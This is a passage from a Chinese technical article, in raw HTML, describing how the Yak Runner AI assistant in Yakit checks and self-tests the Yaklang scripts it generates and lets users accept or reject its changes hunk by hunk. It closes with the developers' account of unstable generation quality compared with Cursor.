15px;"><span textstyle="" style="letter-spacing: 1px;"> 后，会：</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">1.清空上一轮运行自检状态（代码变了，旧的「自测通过」作废）</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">2.对当前内容做 </span></span><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">YaklangScriptChecking</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">（静态分析）</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">3.有 </span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">Error</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">级别问题时，会把格式化后的错误反馈给模型（其中包括错误类型和行号）</span></span></p><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="ms5t3297uob" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2691751085383502" data-type="png" data-w="691" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-width="691" data-height="186" data-imgfileid="100046391" src="https://wechat2rss.xlab.app/img-proxy/?k=622f2d1d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72FYHJMicdhqvnGxULrtqeQuxcZEo55oYjpf9IpPcn8hPTqIZSM7wu2vgpZWRkw0Y6YmXJiaBhCCVAtJbibybJwfhzTZmy1OwKmSZ0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-nest-level="2" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;" data-nest-level="3"><div style="outline: 0px;text-align: justify;font-size: 18px;" data-nest-level="4"><p style="outline: 0px;" data-nest-level="5"><strong data-nest-level="6"><span leaf="" style="font-weight: bold;outline: 0px;" data-nest-level="7">七、 自检运行</span></strong></p></div></div></div><p style="margin: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">引擎注入的全局布尔 YAK_MAIN 来进行调试运行。</span></span></p><pre style="white-space:pre-wrap;"><code data-lark-language="C" data-wrap="false"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf="">func <span class="code-snippet__title">runSelfTest</span>() {</span></code><br/><br/><code><span leaf="">    <span class="code-snippet__comment">// 用 mock 字节流 / 固定字符串测 hook 或纯函数</span></span></code><br/><br/><code><span leaf="">    <span class="code-snippet__comment">// 不要在自测里打真实外网</span></span></code><br/><br/><code><span leaf="">}</span></code><br/><br/><code><span leaf=""><span class="code-snippet__keyword">if</span> <span class="code-snippet__variable">YAK_MAIN</span> {</span></code><br/><br/><code><span leaf="">    <span class="code-snippet__title">runSelfTest</span>()</span></code><br/><br/><code><span leaf="">}</span></code><br/><br/></pre></p></code><br/></pre><ul class="list-paddingleft-1"><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">命令行 </span></span><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">yak script.yak</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 执行 </span></span><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">runSelfTest()</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">。</span></span></p></li><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">Yakit 热加载窗口加载时只注册 hook，</span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">不会</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">在加载时跑自测。（因此热加载脚本带自测块是安全的：贴回 Yakit 不会误跑自测）</span></span></p></li></ul><table style="border:none;border-collapse:collapse;min-width:171px;"><tbody><tr style="height:39px;"><td data-colwidth="121" style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">Kind</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">典型特征</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">策略</span></p></td></tr><tr style="height:39px;"><td data-colwidth="121" style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="">hook_hotpatch</span></code></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="">beforeRequest</span></code><span leaf=""> / </span><code><span leaf="">mirror*</span></code><span leaf=""> / </span><code><span leaf="">hijack*</span></code><span leaf=""> 等热加载钩子</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">必须</span></span></strong><span leaf="">有 </span><code><span leaf="">YAK_MAIN</span></code><span leaf=""> + 自测；缺则 </span><strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">阻断退出</span></span></strong><span leaf="">，要求 AI 补上</span></p></td></tr><tr style="height:39px;"><td data-colwidth="121" style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="">codec_plugin</span></code></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="">handle = func(...)</span></code><span leaf=""> 右键 Codec</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">同上</span></p></td></tr><tr style="height:39px;"><td data-colwidth="121" style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="">native_plugin</span></code></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="">cli.check</span></code><span leaf=""> + </span><code><span leaf="">runPlugin</span></code><span leaf=""> / </span><code><span leaf="">runSelfTest</span></code></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">缺 </span><code><span leaf="">YAK_MAIN</span></code><span leaf=""> 守卫则阻断</span></p></td></tr><tr style="height:39px;"><td data-colwidth="121" style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="">cli_tool</span></code></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">顶层 </span><code><span leaf="">cli.check</span></code><span leaf="">，偏扫描/联网</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">默认不整脚本直跑</span></span></strong><span leaf="">（防挂起/误触网）；若像可测纯逻辑又无自测块，可要求补 </span><code><span leaf="">runSelfTest</span></code></p></td></tr><tr style="height:39px;"><td data-colwidth="121" style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="">pure_logic</span></code></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">有 </span><code><span leaf="">runSelfTest</span></code></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">必须有 </span><code><span leaf="">if YAK_MAIN</span></code><span leaf=""> 守卫才会跑</span></p></td></tr><tr style="height:39px;"><td data-colwidth="121" style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">其它</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">含 </span><code><span leaf="">YAK_MAIN</span></code></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">否则跳过</span></p></td></tr></tbody></table><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-nest-level="2" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;" data-nest-level="3"><div style="outline: 0px;text-align: justify;font-size: 18px;" data-nest-level="4"><p style="outline: 0px;" data-nest-level="5"><strong data-nest-level="6"><span leaf="" style="font-weight: bold;outline: 0px;" data-nest-level="7">八、代码审查</span></strong></p></div></div></div><p style="margin: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">AI 写完代码后，Yak Runner </span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">不会无条件把改动直接写进磁盘</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">。</span><span textstyle="" style="letter-spacing: 1px;">用户可以在编辑器上方的审阅层里，对照 diff </span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">逐块接受或拒绝</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">，</span><span textstyle="" style="letter-spacing: 1px;">再决定是否落盘。这和「对话里只看 patch 文本」是两层能力。</span></span></p><table style="border: none;border-collapse: collapse;min-width: 75px;"><tbody><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">位置</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">组件</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">作用</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">AI 对话卡片</span></span></strong></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="">YakitInlinePatchDiff</span></code></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">展示模型输出的 </span><code><span leaf="">*** Begin Patch</span></code><span leaf=""> 文本（</span><code><span leaf="">+</span></code><span leaf="">/</span><code><span leaf="">-</span></code><span leaf="">/`</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">编辑器审阅层</span></span></strong></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="">YakRunnerCasualCodeReplaceReviewOverlay</span></code></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">覆盖在 Monaco 编辑器上，对比 </span><strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">审阅基线 vs AI 提案</span></span></strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">，</span>支持 </span><strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">逐 hunk 接受/拒绝</span></span></strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">、</span>全部接受、全部拒绝</span></p></td></tr></tbody></table><p style="margin: 8px;"><span leaf="" style="font-size: 15px;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6195814648729447" data-type="png" data-w="1338" style="background-color: transparent;" data-width="1338" data-height="829" data-imgfileid="100046392" src="https://wechat2rss.xlab.app/img-proxy/?k=e0922b6a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72HsZMYJtYS1wvGSCuB0dq8ib6q49WoJpIM3BZwUpNgOOEPg0DAF5Xg30Oa2LYpmxZLV47hPCm5H4icx7CFEor7mrnYv0icoaNib2OI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">审阅层把 </span></span><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">reviewBaseline</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">（左侧/旧）和 </span></span><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">draftIncoming</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">（右侧/新）拆成多个 </span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">hunk</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">（</span></span><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">computeCasualLineHunks</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">），每个 hunk 可单独决策：</span></span></p><table style="border:none;border-collapse:collapse;min-width:447px;"><tbody><tr style="height:39px;"><td data-colwidth="143" style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">操作</span></p></td><td data-colwidth="279" style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">行为</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">是否结束审阅</span></p></td></tr><tr style="height:39px;"><td data-colwidth="143" style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">接受单个 hunk</span></span></strong></p></td><td data-colwidth="279" style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">将该 hunk 合并进 </span><code><span leaf="">reviewBaseline</span></code><span leaf="">，同步更新编辑器内存与 patch 工作草稿</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">否（继续审阅剩余 hunk）</span></p></td></tr><tr style="height:39px;"><td data-colwidth="143" style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">拒绝单个 hunk</span></span></strong></p></td><td data-colwidth="279" style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">从 </span><code><span leaf="">draftIncoming</span></code><span leaf=""> 中去掉该 hunk 的改动，保留基线内容</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">否</span></p></td></tr><tr style="height:39px;"><td data-colwidth="143" style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">全部接受</span></span></strong></p></td><td data-colwidth="279" style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">所有 hunk 合并进基线，写入编辑器并落盘</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">是</span></span></strong></p></td></tr><tr style="height:39px;"><td data-colwidth="143" style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">全部拒绝</span></span></strong></p></td><td data-colwidth="279" style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="">draftIncoming</span></code><span leaf=""> 回退为 </span><code><span leaf="">reviewBaseline</span></code><span leaf="">，不写 AI 改动</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p style="margin-bottom: 0px;"><strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">是</span></span></strong></p></td></tr></tbody></table><p style="margin: 0px 8px 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">当所有 hunk 处理完毕（diff 为空）时，会</span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">自动完成</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">审阅并落盘。部分采纳后若 AI 又推来新一轮 patch：</span></span></p><ul class="list-paddingleft-1"><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">以</span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">最新已采纳的基线</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">作为新的 diff 左栏；</span></span></p></li><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">syncYakRunnerPatchWorkingDraft</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 保证后续 patch 链式合并与编辑器内容一致，避免「编辑器已改、合并仍按旧基线」的错位。</span></span></p></li></ul><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-nest-level="2" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;" data-nest-level="3"><div style="outline: 0px;text-align: justify;font-size: 18px;" data-nest-level="4"><p style="outline: 0px;" data-nest-level="5"><strong data-nest-level="6"><span leaf="" style="font-weight: bold;outline: 0px;" data-nest-level="7">九、 当前的困境</span></strong></p></div></div></div><p style="margin: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">经过我们的测试，目前的代码生成效果非常不稳定，有时候一轮迭代就可以通过语法检查与自检，有时候同样的模型，同样的提示词却需要迭代十多轮才能完成，这是因为目前我们的错误处理和迭代逻辑有效率问题，生成的效果往往取决于第一次生成的语法错误的多少。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">Yak Runner AI 其实是在一个比较受限的情况下去教会一个 AI 使用陌生语言，我们仔细分析过 Cursor 在写 yak 代码时的处理模式：</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">Cursor 写 Yak 时，最大优势是随时读工程源码当补充信息：</span></span></p><ul class="list-paddingleft-1"><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">当前打开的 </span></span><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">.yak</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 全文</span></span></p></li><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">同目录其它脚本、你们自己的封装</span></span></p></li><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">@</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 文件/文件夹，在整个仓库里搜用法</span></span></p></li></ul><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">第二轮改代码，它对照的往往是：「你项目里真实怎么写的」，而不只是「文档里函数签名是什么」。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">Yak Runner AI 的信息通道更窄，主要靠：</span></span></p><ul class="list-paddingleft-1"><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">附件（当前文件 / 目录 / 选区）</span></span></p></li><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">样例库 grep / 语义搜索</span></span></p></li><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">yakdoc 查 API</span></span></p></li><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">对话 timeline 和上一轮编译/自测反馈</span></span></p></li></ul><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">Yak Runner AI 的优势在 Yakit 安全工作流里，快速产出、迭代、审阅 Yaklang 脚本，尤其热加载和小工具。它的自检和调试能力可以直接对接现有的插件，MITM和Web fuzzer，接下来我们在提升Agent本身的能力的同时，会更加注重功能上的交互，做到从</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">「能写」</span><span textstyle="" style="letter-spacing: 1px;">到</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">「好用」。</span></span></p><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 10px auto;padding: 10px 0px 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC NEW&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;border: 1px solid rgb(255, 156, 25);background-color: rgb(255, 251, 239);"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: flex;justify-content: center;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: -10px 0px 0px;padding: 6px 35px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;background: linear-gradient(to right, rgb(240, 78, 18), rgb(255, 155, 25));clip-path: polygon(0px 0px, 100% 0px, 90% 100%, 10% 100%);"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: flex;justify-content: center;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px 12px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 16px;color: rgb(255, 255, 255);text-align: center;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">END</span></p></div></div></div></div><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 15px 0px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 15px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: flex;justify-content: flex-start;"><div data-mpa-action-id="mrxdnoohex8" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px 25px 0px 6px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 16px;color: rgb(210, 64, 12);text-align: left;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-weight: bold;">YAK官方资源</span></span></p></div></div><div data-autoskip="1" data-mpa-action-id="mryegmidjp7" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 10px 20px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(51, 51, 51);background-color: transparent;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" mpa-font-style="mryegmhq1r1c" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 13px;">Yak 语言官方教程：</span></p><p data-nest-level="8" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span data-nest-level="9" mpa-font-style="mryegmhq1jeu" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-decoration: underline;color: rgb(95, 156, 239);font-size: 13px;"><em data-nest-level="10" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: italic;"><span leaf="" data-nest-level="11" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a href="https://yaklang.com/docs/intro/" target="_blank">https://yaklang.com/docs/intro/</a></span></em></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 